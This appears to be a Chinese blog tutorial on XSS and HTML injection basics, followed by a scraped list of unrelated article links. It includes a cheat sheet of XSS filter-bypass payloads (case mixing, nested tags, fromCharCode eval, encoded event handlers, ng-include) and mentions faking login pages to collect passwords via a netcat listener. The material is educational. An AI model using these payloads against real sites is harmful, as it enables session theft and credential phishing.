零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XSS:

  1、本质:

    XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。

  2、分类:    

 //1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
/*https://www.test.com/XSS?string='一段js脚本'*/
<script>alert(1)</script>
//2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
/*https://www.test.com/XSS?store='一段js脚本'*/
<script>alert(1)</script>
/*https://www.test.com/show触发*/
//3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
<script>
function xssattack(){
var str = document.getElementById("text").value;
document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
}</script>
//如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。

  3、危害:   

  (1)盗取Cookie
  (2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
  (3)增删改查用户可以增删改查的任何东西
  (4)钓鱼甚至蠕虫(终极武器)

  4、常见的payload:

   (1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>

   (2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>

   (3)以上特殊字符编码成URL编码

   (4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>

   (5)";alert(1);"【本身在<script>标签内】

   (6)<img src=javascript:alert(1)>,<div style="&#123&#43...&#72">【或者hex、base64编码】,<script src='/filepath/filename'></script>

   (7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>

   (8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'

     (9)alert()中()被过滤可以尝试使用``反引号

    (10)url;<script>alert(1)</script>url反射

  5、防御:

    (1)过滤用户输入

    (2)输出之前进行实体编码

二、更广泛的HTML注入:

  1、本质:

    向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。

  2、payload:

    <a href='http://www.baidu.com'>

    paramwidth ="\" onload=alert(1)></ifrmae>//"

  3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。

WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入的更多相关文章

  1. 实现手机扫描二维码页面登录,类似web微信-第三篇,手机客户端

    转自:http://www.cnblogs.com/fengyun99/p/3541254.html 上一篇,介绍了二维码生成的机制,紧接着,我们就要开发手机客户端来识别这个二维码. 二维码,实际上是 ...

  2. Java Web学习(六)HttpServletRequest(客户端请求)

    一.定义 HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有 ...

  3. 《手把手教你》系列技巧篇(四十六)-java+ selenium自动化测试-web页面定位toast-下篇(详解教程)

    1.简介 终于经过宏哥的不懈努力,偶然发现了一个toast的web页面,所以直接就用这个页面来夯实一下,上一篇学过的知识-处理toast元素. 2.安居客 事先声明啊,宏哥没有收他们的广告费啊,纯粹是 ...

  4. 第六篇 :微信公众平台开发实战Java版之如何自定义微信公众号菜单

    我们来了解一下 自定义菜单创建接口: http请求方式:POST(请使用https协议) https://api.weixin.qq.com/cgi-bin/menu/create?access_to ...

  5. Python之路【第六篇】:socket

    Python之路[第六篇]:socket   Socket socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字&quo ...

  6. [老老实实学WCF] 第六篇 元数据交换

    老老实实学WCF 第六篇 元数据交换 通过前两篇的学习,我们了解了WCF通信的一些基本原理,我们知道,WCF服务端和客户端通过共享元数据(包括服务协定.服务器终结点信息)在两个 终结点上建立通道从而进 ...

  7. 跟我学SpringCloud | 第六篇:Spring Cloud Config Github配置中心

    SpringCloud系列教程 | 第六篇:Spring Cloud Config Github配置中心 Springboot: 2.1.6.RELEASE SpringCloud: Greenwic ...

  8. Spring Cloud第六篇 | Hystrix仪表盘监控Hystrix Dashboard

    本文是Spring Cloud专栏的第六篇文章,了解前五篇文章内容有助于更好的理解本文: Spring Cloud第一篇 | Spring Cloud前言及其常用组件介绍概览 Spring Cloud ...

  9. 实现手机扫描二维码页面登录,类似web微信-第四篇,服务器端

    转自:http://blog.csdn.net/otangba/article/details/8273952 终于到了服务器端,第三篇的手机客户端如果已经下载了的话,没有服务器是不能正常运行的. 服 ...

随机推荐

  1. 分布式理论(4):Leases 一种解决分布式缓存一致性的高效容错机制(转)

    作者:Cary G.Gray and David R. Cheriton 1989 译者:phylips@bmy 2011-5-7 出处:http://duanple.blog.163.com/blo ...

  2. Shell替换:Shell变量替换,命令替换,转义字符

    如果表达式中包含特殊字符,Shell 将会进行替换.例如,在双引号中使用变量就是一种替换,转义字符也是一种替换. 举个例子: 复制纯文本复制 #!/bin/bash a=10 echo -e &quo ...

  3. [转]ListView学习笔记(二)——ViewHolder

    在android开发中Listview是一个很重要的组件,它以列表的形式根据数据的长自适应展示具体内容,用户可以自由的定义listview每一列的布局,但当listview有大量的数据需要加载的时候, ...

  4. mysql慢查询日志开启和存储格式

    mysql版本号是mysql5.6.22.安装环境windows7. 1.使用该查询日志能够找到有效率问题的sql语句.并记录下来,进行监控. 能够使用例如以下语句查询和设置慢查询日志 (1) 查看慢 ...

  5. jquery-easyui 中表格的行编辑功能

    具体实现代码如下: <table id="tt"></table> $('#tt').datagrid({ title:'Editable DataGrid ...

  6. SQL Server 自动重建出现碎片的索引

    1.索引碎片的产生? 由于在表里大量的插入.修改.删除操作而使索引页分裂.如果索引有了高的碎片,有两种情况,一种情况是扫描索引需要花费很多的时间,另一种情况是在查询的时候索引根本不使用索引,都会导致性 ...

  7. C++ c++与C语言的区别(struct类型的加强,函数-变量类型加强,bool类型)

    //区别④:struct类型的加强(C++版本) #include<iostream> using namespace std; //C++中的struct是一个新类型的定义声明 //c+ ...

  8. openfire安装配置完全教程

    Java领域的IM解决方案 Java领域的即时通信的解决方案可以考虑openfire+spark+smack. Openfire是基于Jabber协议(XMPP)实现的即时通信服务器端,最新版本是3. ...

  9. Hibernate中createCriteria即QBC查询的详细用法

    现在假设有一个Student类,内有id,name,age属性String hql = "from Student s";按照以前的做法,我们通常是Query query = se ...

  10. php中ignore_user_abort函数的用法(定时)

    PHP中的ignore_user_abort函数是当用户关掉终端后脚本不停止仍然在执行,可以用它来实现计划任务与持续进程,下面会通过实例讨论ignore_user_abort()函数的作用与用法. i ...